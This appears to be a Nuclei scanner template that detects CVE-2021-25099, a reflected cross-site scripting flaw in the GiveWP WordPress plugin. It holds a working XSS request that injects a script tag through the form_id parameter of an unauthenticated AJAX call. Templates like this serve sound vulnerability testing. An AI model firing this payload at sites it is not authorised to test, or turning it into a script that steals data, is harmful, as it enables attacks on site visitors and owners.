id: CVE-2021-25099

info:
  name: Give < 2.17.3 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    The GiveWP WordPress plugin before 2.17.3 does not sanitise and escape the form_id parameter before outputting it back in the response of an unauthenticated request via the give_checkout_login AJAX action, leading to a Reflected Cross-Site Scripting.
  reference:
    - https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
    - https://wordpress.org/plugins/give/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25099
  classification:
    cve-id: CVE-2021-25099
  metadata:
    verified: true
  tags: cve,cve2021,wordpress,wp-plugin,wp,xss,give,unauth

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=give_checkout_login&form_id=xxxxxx"><script>alert(document.domain)</script>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "give_user_login")'
        condition: and